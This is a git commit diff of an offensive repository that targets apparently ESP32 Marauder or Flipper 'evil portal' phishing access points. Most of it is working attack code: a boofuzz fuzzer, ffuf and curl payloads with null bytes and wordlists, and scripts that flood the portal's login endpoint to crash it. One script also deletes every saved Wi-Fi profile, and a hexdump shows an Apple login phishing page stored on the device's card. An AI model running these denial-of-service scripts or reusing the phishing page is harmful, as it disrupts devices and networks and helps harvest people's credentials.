initial commit
This commit is contained in:
@@ -0,0 +1,4 @@
|
||||
# Ant-Skid System: ASS
|
||||
## pwning marauder and flipper for literally no reason
|
||||
work in progress, use at your own risk. dangerous shit in here.
|
||||

|
||||
@@ -0,0 +1,45 @@
|
||||
from boofuzz import *
|
||||
import datetime
|
||||
import time
|
||||
|
||||
def main():
|
||||
port = 80
|
||||
# host = '10.0.0.80'
|
||||
host = '192.168.4.1'
|
||||
file_tag = 'Marauder-CYD'
|
||||
# web_interface_listen='0.0.0.0'
|
||||
web_interface_listen='10.0.0.79'
|
||||
web_interface_listen_port=26000
|
||||
currenttime = datetime.datetime.now()
|
||||
ct = currenttime.strftime("%d%m%Y-%H.%M.%S")
|
||||
output_filename=f"./boofuzz-results/{file_tag}-{ct}.db"
|
||||
session_persistsant_filename=f"./boofuzz-results/session-save-{file_tag}-{ct}.dat"
|
||||
|
||||
session = Session(
|
||||
target=Target(connection=TCPSocketConnection(host, port)),
|
||||
receive_data_after_fuzz=True,
|
||||
web_address=web_interface_listen,
|
||||
web_port=web_interface_listen_port,
|
||||
db_filename=output_filename,
|
||||
session_filename=session_persistsant_filename,
|
||||
sleep_time=0.225
|
||||
)
|
||||
|
||||
s_initialize(name="Request")
|
||||
with s_block("Request-Line"):
|
||||
s_group("http-method", ["GET", "HEAD", "POST"])
|
||||
s_static(" ", "space-0")
|
||||
s_static("/get?email=", name="uri-start")
|
||||
s_string("email", name="emailvar")
|
||||
s_static("&password=", name="password")
|
||||
s_string("password", name="passwordvar")
|
||||
s_static(" ", "space-1")
|
||||
s_static("HTTP/1.1", "http-version")
|
||||
s_static("\r\n\r\n", "Request-CRLF")
|
||||
|
||||
session.connect(s_get("Request"))
|
||||
session.fuzz()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,27 @@
|
||||
#!/bin/bash
|
||||
wifi_device=wlan1
|
||||
ssid=Guest-WiFi
|
||||
# password=
|
||||
# deletei=True
|
||||
|
||||
echo "Interface $wifi_device"
|
||||
echo "Disconnecting"
|
||||
sudo nmcli d disconnect $wifi_device
|
||||
|
||||
if [ ! -z $deletei ]; then
|
||||
echo "Deleting Wifi Profiles"
|
||||
sudo nmcli connection show | sudo awk '{system("nmcli connection delete " $1)}'
|
||||
echo "Sleeping 3 Seconds"
|
||||
sleep 3
|
||||
fi
|
||||
|
||||
sudo nmcli dev wifi rescan
|
||||
|
||||
echo "Connecting to $ssid"
|
||||
if [ -z $password ]; then
|
||||
sudo nmcli device wifi connect $ssid ifname $wifi_device
|
||||
else
|
||||
sudo nmcli device wifi connect $ssid password $password ifname $wifi_device
|
||||
fi
|
||||
|
||||
ifconfig $wifi_device
|
||||
@@ -0,0 +1,6 @@
|
||||
wifi_device=wlan1
|
||||
echo "Interface $wifi_device"
|
||||
echo "Disconnecting"
|
||||
sudo nmcli d disconnect $wifi_device > /dev/null
|
||||
echo "Deleting Wifi Profiles"
|
||||
sudo nmcli connection show | sudo awk '{system("nmcli connection delete " $1)}' > /dev/null
|
||||
@@ -0,0 +1,23 @@
|
||||
#!/bin/bash
|
||||
wifi_device=wlan1
|
||||
ssid=Guest-WiFi
|
||||
host="192.168.4.1"
|
||||
|
||||
wordlist=/usr/share/wordlists/seclists/Fuzzing/6-digits-000000-999999.txt
|
||||
|
||||
sudo nmcli d disconnect $wifi_device > /dev/null
|
||||
|
||||
sudo nmcli dev wifi rescan > /dev/null
|
||||
|
||||
echo -e "\nCashing This Evil Portal With No Survivors\n"
|
||||
|
||||
sudo nmcli device wifi connect $ssid ifname $wifi_device
|
||||
|
||||
echo -e "\nSending Over 9000 Requests...\nSpamming Until It Errors\n"
|
||||
|
||||
ffuf -w $wordlist -u "http://${host}/get?email=FUZZ&password=FUZZ" -fc all -s -sa -t 256 -timeout 3
|
||||
|
||||
echo -e "\n\nPinging To Confirm Kill...\n"
|
||||
ping -c 4 $host
|
||||
|
||||
echo -e "\nThat Was Big Payload (4U)\nRIP"
|
||||
@@ -0,0 +1,18 @@
|
||||
import subprocess
|
||||
|
||||
# host = "http://192.168.4.1"
|
||||
host = "http://10.0.0.80"
|
||||
charlen = 2000
|
||||
char = "%FF"
|
||||
|
||||
curl_cmd = "curl --silent"
|
||||
|
||||
payload = char*charlen
|
||||
uri = f"{host}/get.php?email={payload}&password={payload}"
|
||||
command = f"{curl_cmd} '{uri}'"
|
||||
print(f"\nCrashing This Evil Portal With No Survivors Using: {charlen} {char}s\n")
|
||||
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
|
||||
(output, err) = p.communicate()
|
||||
p_status = p.wait()
|
||||
|
||||
print("That's A Big Load (4U)\n\nDone")
|
||||
@@ -0,0 +1,23 @@
|
||||
#!/bin/bash
|
||||
wifi_device=wlan1
|
||||
ssid=Guest-WiFi
|
||||
host="192.168.4.1"
|
||||
|
||||
wordlist=/usr/share/wordlists/seclists/Fuzzing/6-digits-000000-999999.txt
|
||||
|
||||
sudo nmcli d disconnect $wifi_device > /dev/null
|
||||
|
||||
sudo nmcli dev wifi rescan > /dev/null
|
||||
|
||||
echo -e "\nCashing This Evil Portal With No Survivors\n"
|
||||
|
||||
sudo nmcli device wifi connect $ssid ifname $wifi_device
|
||||
|
||||
echo -e "\nSending Over 9000 Requests...\nSpamming Until It Errors\n"
|
||||
|
||||
ffuf -w $wordlist -u "http://${host}/get?email=FUZZ&password=FUZZ" -fc all -s -sa -t 256 -timeout 3
|
||||
|
||||
echo -e "\n\nPinging To Confirm Kill...\n"
|
||||
ping -c 4 $host
|
||||
|
||||
echo -e "\nThat Was Big Payload (4U)\nRIP"
|
||||
@@ -0,0 +1,7 @@
|
||||
ffuf -w Metacharacters.fuzzdb.txt -u "http://172.0.0.1/get?email=FUZZ\&password=%00%00" -H "FUZZ:FUZZ" -mc all -ac -rate 60
|
||||
curl -i "http://192.168.4.1/get?email=one%00one\&password=two%00two" #-i dumps headers
|
||||
curl -i --raw "http://192.168.4.1/get?email=one%00one\&password=two`printf \0`two"
|
||||
ffuf -w /usr/share/wordlists/john.lst -u "http://192.168.4.1/get?email=FUZZ&password=FUZZ" -fc all -rate 60
|
||||
ffuf -w /usr/share/wordlists/john.lst -u "http://192.168.4.1/get?email=FUZZ&password=FUZZ" -fc all -rate 4 -t 1
|
||||
ffuf -w /usr/share/wordlists/seclists/Fuzzing/big-list-of-naughty-strings.txt -u "http://192.168.4.1/get?email=FUZZ&password=FUZZ" -fc all -rate 4 -t 1
|
||||
ffuf -w /usr/share/wordlists/seclists/Fuzzing/big-list-of-naughty-strings.txt -u "http://192.168.4.1/get?email=FUZZ&password=FUZZ" -fc all -rate 4 -t 2
|
||||
@@ -0,0 +1,3 @@
|
||||
|
||||
|
||||
Chars: %00*1489 - Prepend: - Append:
|
||||
Binary file not shown.
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,40 @@
|
||||
import datetime
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
# host = "10.0.0.80"
|
||||
host = "192.168.4.1"
|
||||
|
||||
rangei = 65536 # FFFF+1
|
||||
|
||||
currenttime = datetime.datetime.now()
|
||||
datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S")
|
||||
|
||||
for x in range(rangei):
|
||||
hexcode = hex(x)[2:]
|
||||
if x > 255:
|
||||
urlformatted_raw = "%{:04x}".format(x)
|
||||
hexformatted_raw = "0x{:04x}".format(x)
|
||||
urlformatted = f"{urlformatted_raw[:3]}%{urlformatted_raw[3:]}"
|
||||
else:
|
||||
urlformatted_raw = "%{:04x}".format(x)
|
||||
urlformatted = "%{:02x}".format(x)
|
||||
hexformatted = "0x{:02x}".format(x)
|
||||
unicode_formatted = "%u{:04x}".format(x)
|
||||
printformatted = f"\\x{hexcode}"
|
||||
|
||||
print(f"Running {urlformatted} and {urlformatted_raw} and {unicode_formatted}")
|
||||
p = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{urlformatted}email&password=password{urlformatted}password' >> fuzzing-results/urlformatted-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True)
|
||||
p1 = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{urlformatted_raw}email&password=password{urlformatted_raw}password' >> fuzzing-results/urlformatted_raw-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True)
|
||||
p2 = subprocess.Popen(f"curl -i -s -S 'http://{host}/get?email=email{unicode_formatted}email&password=password{unicode_formatted}password' >> fuzzing-results/unicode_formatted-{rangei}-{datestamp}.txt", stdout=subprocess.PIPE, shell=True)
|
||||
|
||||
(output, err) = p.communicate()
|
||||
(output, err) = p1.communicate()
|
||||
(output, err) = p2.communicate()
|
||||
|
||||
p_status = p.wait()
|
||||
p_status1 = p1.wait()
|
||||
p_status2 = p2.wait()
|
||||
|
||||
time.sleep(0.225)
|
||||
print(f"\n\nlog written to fuzzing-results/X-{rangei}-{datestamp}.txt")
|
||||
@@ -0,0 +1,42 @@
|
||||
import datetime
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
host = "http://10.0.0.80"
|
||||
# host = "http://192.168.4.1"
|
||||
charlen = 1489
|
||||
char = "%00"
|
||||
prepend = ""
|
||||
append = ""
|
||||
|
||||
currenttime = datetime.datetime.now()
|
||||
datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S")
|
||||
|
||||
outfile = f"fuzzing-results/hex-sniper-rifle-{datestamp}.txt"
|
||||
|
||||
# -i, --include - include header in output
|
||||
# -I, --head - HEAD http method
|
||||
# -s, --silent - supresses progress and errors
|
||||
# -S, --show-error - when used with -s/--silent, displays errors
|
||||
# -D <file>, --dump-header <file> - saves response headers to <file>
|
||||
# -f, --fail - fail silently on HTTP error
|
||||
# -X, --request - request method, defaults to GET
|
||||
# -H <header:value>, --header <header:value> - sets header, multiple are allowed
|
||||
# -v, --verbose - show request headers
|
||||
# -o <file>, --output <file> - write output to file
|
||||
|
||||
# curl_cmd = "curl -i -s -S -v"
|
||||
curl_cmd = "curl --include --silent --show-error"
|
||||
|
||||
chars = char*charlen
|
||||
payload = f"{prepend}{chars}{append}"
|
||||
uri = f"{host}/get.php?email={payload}&password=holdstill"
|
||||
command = f"{curl_cmd} '{uri}' >> {outfile}"
|
||||
print(f"\n\nRunning {char}*{charlen} on email\nPrepend: {prepend}\nAppend: {append}\nOutfile: {outfile}")
|
||||
with open(outfile, "a") as log:
|
||||
log.write(f"\n\nChars: {char}*{charlen} - Prepend: {prepend} - Append: {append}\n")
|
||||
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
|
||||
(output, err) = p.communicate()
|
||||
p_status = p.wait()
|
||||
|
||||
print(f"\n\nlog written to {outfile}")
|
||||
@@ -0,0 +1,45 @@
|
||||
import datetime
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
# host = "http://10.0.0.80"
|
||||
host = "http://192.168.4.1"
|
||||
rangei = 10000
|
||||
char = "X"
|
||||
# char = "%00"
|
||||
prepend = ""
|
||||
append = ""
|
||||
#append = "%0a%00%0a"
|
||||
|
||||
currenttime = datetime.datetime.now()
|
||||
datestamp = currenttime.strftime("%d%m%Y-%H.%M.%S")
|
||||
|
||||
outfile = f"fuzzing-results/chars-{rangei}-{datestamp}.txt"
|
||||
|
||||
# -i, --include - include header in output
|
||||
# -I, --head - HEAD http method
|
||||
# -s, --silent - supresses progress and errors
|
||||
# -S, --show-error - when used with -s/--silent, displays errors
|
||||
# -D <file>, --dump-header <file> - saves response headers to <file>
|
||||
# -f, --fail - fail silently on HTTP error
|
||||
# -X, --request - request method, defaults to GET
|
||||
# -H <header:value>, --header <header:value> - sets header, multiple are allowed
|
||||
# -v, --verbose - show request headers
|
||||
# -o <file>, --output <file> - write output to file
|
||||
|
||||
# curl_cmd = "curl -i -s -S -v"
|
||||
curl_cmd = "curl --include --silent --show-error"
|
||||
|
||||
for x in range(rangei+1):
|
||||
chars = char*x
|
||||
payload = f"{prepend}{chars}{append}"
|
||||
uri = f"{host}/get?email={payload}&password={payload}"
|
||||
command = f"{curl_cmd} '{uri}' >> {outfile}"
|
||||
print(f"Running {x}/{rangei} chars ({char})\n\tPrepend: {prepend}\n\tAppend: {append}\n\Outfile: {outfile}\n")
|
||||
with open(outfile, "a") as log:
|
||||
log.write(f"\n\n{x}/{rangei} - Char: {char} - Prepend: {prepend} - Append: {append}\n")
|
||||
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
|
||||
(output, err) = p.communicate()
|
||||
p_status = p.wait()
|
||||
|
||||
print(f"\n\nlog written to {outfile}")
|
||||
@@ -0,0 +1 @@
|
||||
source boofuzz/env/bin/activate
|
||||
@@ -0,0 +1,24 @@
|
||||
import subprocess
|
||||
import os
|
||||
# from requests.utils import requote_uri
|
||||
import urllib.parse
|
||||
from random import randbytes
|
||||
|
||||
host = "http://192.168.4.1"
|
||||
# host = "http://10.0.0.80"
|
||||
rangei = 10000
|
||||
# charlen = 4*400
|
||||
charlen = 128
|
||||
curl_cmd = "curl --include --silent --show-error"
|
||||
|
||||
for x in range(rangei+1):
|
||||
payload = urllib.parse.quote(randbytes(charlen))
|
||||
uri = f"{host}/get?email={payload}&password={payload}"
|
||||
command = f"{curl_cmd} '{uri}'"
|
||||
|
||||
print(f"{x} of {rangei} sets of {charlen} random bytes")
|
||||
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
|
||||
(output, err) = p.communicate()
|
||||
p_status = p.wait()
|
||||
|
||||
print(f"\n\nThe End")
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,782 @@
|
||||
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
000001b0 00 00 00 00 00 00 00 00 63 3c 17 a3 00 00 00 00 |........c<......|
|
||||
000001c0 01 01 0b 3f e0 ff 00 08 00 00 00 58 9c 03 00 00 |...?.......X....|
|
||||
000001d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
|
||||
00000200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
00100000 eb 58 90 6d 6b 66 73 2e 66 61 74 00 02 20 20 00 |.X.mkfs.fat.. .|
|
||||
00100010 02 00 00 00 00 f8 00 00 20 00 40 00 00 08 00 00 |........ .@.....|
|
||||
00100020 00 58 9c 03 c0 39 00 00 00 00 00 00 02 00 00 00 |.X...9..........|
|
||||
00100030 01 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
00100040 80 00 29 de d6 9c 88 4d 41 52 41 55 44 45 52 53 |..)....MARAUDERS|
|
||||
00100050 44 20 46 41 54 33 32 20 20 20 0e 1f be 77 7c ac |D FAT32 ...w|.|
|
||||
00100060 22 c0 74 0b 56 b4 0e bb 07 00 cd 10 5e eb f0 32 |".t.V.......^..2|
|
||||
00100070 e4 cd 16 cd 19 eb fe 54 68 69 73 20 69 73 20 6e |.......This is n|
|
||||
00100080 6f 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 64 69 |ot a bootable di|
|
||||
00100090 73 6b 2e 20 20 50 6c 65 61 73 65 20 69 6e 73 65 |sk. Please inse|
|
||||
001000a0 72 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 66 6c |rt a bootable fl|
|
||||
001000b0 6f 70 70 79 20 61 6e 64 0d 0a 70 72 65 73 73 20 |oppy and..press |
|
||||
001000c0 61 6e 79 20 6b 65 79 20 74 6f 20 74 72 79 20 61 |any key to try a|
|
||||
001000d0 67 61 69 6e 20 2e 2e 2e 20 0d 0a 00 00 00 00 00 |gain ... .......|
|
||||
001000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
001001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
|
||||
00100200 52 52 61 41 00 00 00 00 00 00 00 00 00 00 00 00 |RRaA............|
|
||||
00100210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
001003e0 00 00 00 00 72 72 41 61 1e df 1c 00 06 00 00 00 |....rrAa........|
|
||||
001003f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
|
||||
00100400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
00100c00 eb 58 90 6d 6b 66 73 2e 66 61 74 00 02 20 20 00 |.X.mkfs.fat.. .|
|
||||
00100c10 02 00 00 00 00 f8 00 00 20 00 40 00 00 08 00 00 |........ .@.....|
|
||||
00100c20 00 58 9c 03 c0 39 00 00 00 00 00 00 02 00 00 00 |.X...9..........|
|
||||
00100c30 01 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
00100c40 80 00 29 de d6 9c 88 4d 41 52 41 55 44 45 52 53 |..)....MARAUDERS|
|
||||
00100c50 44 20 46 41 54 33 32 20 20 20 0e 1f be 77 7c ac |D FAT32 ...w|.|
|
||||
00100c60 22 c0 74 0b 56 b4 0e bb 07 00 cd 10 5e eb f0 32 |".t.V.......^..2|
|
||||
00100c70 e4 cd 16 cd 19 eb fe 54 68 69 73 20 69 73 20 6e |.......This is n|
|
||||
00100c80 6f 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 64 69 |ot a bootable di|
|
||||
00100c90 73 6b 2e 20 20 50 6c 65 61 73 65 20 69 6e 73 65 |sk. Please inse|
|
||||
00100ca0 72 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 66 6c |rt a bootable fl|
|
||||
00100cb0 6f 70 70 79 20 61 6e 64 0d 0a 70 72 65 73 73 20 |oppy and..press |
|
||||
00100cc0 61 6e 79 20 6b 65 79 20 74 6f 20 74 72 79 20 61 |any key to try a|
|
||||
00100cd0 67 61 69 6e 20 2e 2e 2e 20 0d 0a 00 00 00 00 00 |gain ... .......|
|
||||
00100ce0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
00100df0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
|
||||
00100e00 52 52 61 41 00 00 00 00 00 00 00 00 00 00 00 00 |RRaA............|
|
||||
00100e10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
00100fe0 00 00 00 00 72 72 41 61 22 df 1c 00 02 00 00 00 |....rrAa".......|
|
||||
00100ff0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
|
||||
00101000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
00104000 f8 ff ff 0f ff ff ff 0f f8 ff ff 0f ff ff ff 0f |................|
|
||||
00104010 ff ff ff 0f ff ff ff 0f ff ff ff 0f 00 00 00 00 |................|
|
||||
00104020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
0083c000 f8 ff ff 0f ff ff ff 0f f8 ff ff 0f ff ff ff 0f |................|
|
||||
0083c010 ff ff ff 0f ff ff ff 0f ff ff ff 0f 00 00 00 00 |................|
|
||||
0083c020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
00f74000 4d 41 52 41 55 44 45 52 53 44 20 08 00 00 2e 69 |MARAUDERSD ....i|
|
||||
00f74010 37 59 37 59 00 00 2e 69 37 59 00 00 00 00 00 00 |7Y7Y...i7Y......|
|
||||
00f74020 53 43 52 49 50 54 53 20 20 20 20 10 00 00 00 00 |SCRIPTS .....|
|
||||
00f74030 00 00 00 00 00 00 02 00 21 00 03 00 00 00 00 00 |........!.......|
|
||||
00f74040 41 61 00 70 00 70 00 6c 00 65 00 0f 00 c2 2e 00 |Aa.p.p.l.e......|
|
||||
00f74050 68 00 74 00 6d 00 6c 00 00 00 00 00 ff ff ff ff |h.t.m.l.........|
|
||||
00f74060 41 50 50 4c 45 7e 31 20 48 54 4d 20 00 82 8b 69 |APPLE~1 HTM ...i|
|
||||
00f74070 37 59 37 59 00 00 8b 69 37 59 04 00 ae 26 00 00 |7Y7Y...i7Y...&..|
|
||||
00f74080 41 61 00 70 00 2e 00 63 00 6f 00 0f 00 e6 6e 00 |Aa.p...c.o....n.|
|
||||
00f74090 66 00 69 00 67 00 2e 00 74 00 00 00 78 00 74 00 |f.i.g...t...x.t.|
|
||||
00f740a0 41 50 43 4f 4e 46 7e 31 54 58 54 20 00 8f 9b 69 |APCONF~1TXT ...i|
|
||||
00f740b0 37 59 37 59 00 00 9b 69 37 59 05 00 0a 00 00 00 |7Y7Y...i7Y......|
|
||||
00f740c0 42 2e 00 6c 00 6f 00 67 00 00 00 0f 00 db ff ff |B..l.o.g........|
|
||||
00f740d0 ff ff ff ff ff ff ff ff ff ff 00 00 ff ff ff ff |................|
|
||||
00f740e0 01 65 00 76 00 69 00 6c 00 5f 00 0f 00 db 70 00 |.e.v.i.l._....p.|
|
||||
00f740f0 6f 00 72 00 74 00 61 00 6c 00 00 00 5f 00 30 00 |o.r.t.a.l..._.0.|
|
||||
00f74100 45 56 49 4c 5f 50 7e 31 4c 4f 47 20 00 00 24 00 |EVIL_P~1LOG ..$.|
|
||||
00f74110 21 00 37 59 00 00 68 00 21 00 06 00 c0 03 00 00 |!.7Y..h.!.......|
|
||||
00f74120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
00f78000 2e 20 20 20 20 20 20 20 20 20 20 10 00 00 00 00 |. .....|
|
||||
00f78010 00 00 00 00 00 00 02 00 21 00 03 00 00 00 00 00 |........!.......|
|
||||
00f78020 2e 2e 20 20 20 20 20 20 20 20 20 10 00 00 00 00 |.. .....|
|
||||
00f78030 00 00 00 00 00 00 02 00 21 00 00 00 00 00 00 00 |........!.......|
|
||||
00f78040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
00f7c000 3c 21 2d 2d 20 4f 72 69 67 69 6e 61 6c 20 63 6f |<!-- Original co|
|
||||
00f7c010 64 65 20 3a 20 68 74 74 70 73 3a 2f 2f 67 69 74 |de : https://git|
|
||||
00f7c020 68 75 62 2e 63 6f 6d 2f 61 69 2d 64 65 76 2d 6f |hub.com/ai-dev-o|
|
||||
00f7c030 66 66 69 63 69 61 6c 2f 41 70 70 6c 65 2d 44 65 |fficial/Apple-De|
|
||||
00f7c040 76 2d 4c 6f 67 69 6e 2d 50 61 67 65 2d 20 62 79 |v-Login-Page- by|
|
||||
00f7c050 20 61 69 2d 64 65 76 2d 6f 66 66 69 63 69 61 6c | ai-dev-official|
|
||||
00f7c060 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 45 64 69 74 65 | -->..<!-- Edite|
|
||||
00f7c070 64 20 61 6e 64 20 61 64 61 70 74 65 64 20 62 79 |d and adapted by|
|
||||
00f7c080 20 3a 20 4a 75 6c 65 73 30 38 33 35 20 66 6f 72 | : Jules0835 for|
|
||||
00f7c090 20 65 64 75 63 61 74 69 6f 6e 61 6c 20 70 75 72 | educational pur|
|
||||
00f7c0a0 70 6f 73 65 73 20 2d 2d 3e 0d 0a 0d 0a 3c 21 44 |poses -->....<!D|
|
||||
00f7c0b0 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 |OCTYPE html>..<h|
|
||||
00f7c0c0 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a |tml lang="en">..|
|
||||
00f7c0d0 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 |..<head>.. <t|
|
||||
00f7c0e0 69 74 6c 65 3e 4c 6f 67 69 6e 20 2d 20 41 70 70 |itle>Login - App|
|
||||
00f7c0f0 6c 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 |le</title>.. |
|
||||
00f7c100 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 |<meta name="view|
|
||||
00f7c110 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 |port" content="w|
|
||||
00f7c120 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 |idth=device-widt|
|
||||
00f7c130 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 |h, initial-scale|
|
||||
00f7c140 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 73 74 79 |=1.0">.. <sty|
|
||||
00f7c150 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 0d 0a 20 |le>.. .. |
|
||||
00f7c160 20 20 20 20 20 20 20 2a 20 7b 0d 0a 20 20 20 20 | * {.. |
|
||||
00f7c170 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 | box-sizi|
|
||||
00f7c180 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d |ng: border-box;.|
|
||||
00f7c190 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 |. mar|
|
||||
00f7c1a0 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 |gin: 0;.. |
|
||||
00f7c1b0 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b | padding: 0;|
|
||||
00f7c1c0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 |.. li|
|
||||
00f7c1d0 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 0d |st-style: none;.|
|
||||
00f7c1e0 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 |. tex|
|
||||
00f7c1f0 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f |t-decoration: no|
|
||||
00f7c200 6e 65 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a |ne;.. }..|
|
||||
00f7c210 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b |.. body {|
|
||||
00f7c220 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f |.. fo|
|
||||
00f7c230 6e 74 2d 66 61 6d 69 6c 79 3a 20 53 46 20 50 72 |nt-family: SF Pr|
|
||||
00f7c240 6f 20 54 65 78 74 2c 20 53 46 20 50 72 6f 20 49 |o Text, SF Pro I|
|
||||
00f7c250 63 6f 6e 73 2c 20 48 65 6c 76 65 74 69 63 61 20 |cons, Helvetica |
|
||||
00f7c260 4e 65 75 65 2c 20 48 65 6c 76 65 74 69 63 61 2c |Neue, Helvetica,|
|
||||
00f7c270 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 | Arial, sans-ser|
|
||||
00f7c280 69 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 |if;.. |
|
||||
00f7c290 20 63 6f 6c 6f 72 3a 20 23 39 38 39 38 39 63 3b | color: #98989c;|
|
||||
00f7c2a0 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 |.. }.... |
|
||||
00f7c2b0 20 20 20 20 20 20 20 68 65 61 64 65 72 20 7b 0d | header {.|
|
||||
00f7c2c0 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 |. pad|
|
||||
00f7c2d0 64 69 6e 67 3a 20 35 70 78 3b 0d 0a 20 20 20 20 |ding: 5px;.. |
|
||||
00f7c2e0 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 | margin: |
|
||||
00f7c2f0 31 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 7d |10px;.. }|
|
||||
00f7c300 0d 0a 0d 0a 20 20 20 20 20 20 20 20 68 65 61 64 |.... head|
|
||||
00f7c310 65 72 20 73 76 67 20 7b 0d 0a 20 20 20 20 20 20 |er svg {.. |
|
||||
00f7c320 20 20 20 20 20 20 77 69 64 74 68 3a 20 32 35 70 | width: 25p|
|
||||
00f7c330 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 |x;.. |
|
||||
00f7c340 68 65 69 67 68 74 3a 20 32 35 70 78 3b 0d 0a 20 |height: 25px;.. |
|
||||
00f7c350 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 | }.... |
|
||||
00f7c360 20 20 20 20 2e 6d 61 69 6e 20 7b 0d 0a 20 20 20 | .main {.. |
|
||||
00f7c370 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f | positio|
|
||||
00f7c380 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 |n: relative;.. |
|
||||
00f7c390 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 | displa|
|
||||
00f7c3a0 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 20 20 20 20 |y: flex;.. |
|
||||
00f7c3b0 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f | justify-co|
|
||||
00f7c3c0 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0d 0a |ntent: center;..|
|
||||
00f7c3d0 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 | alig|
|
||||
00f7c3e0 6e 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 |n-content: cente|
|
||||
00f7c3f0 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 |r;.. |
|
||||
00f7c400 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e |align-items: cen|
|
||||
00f7c410 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 |ter;.. |
|
||||
00f7c420 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 38 35 | min-height: 85|
|
||||
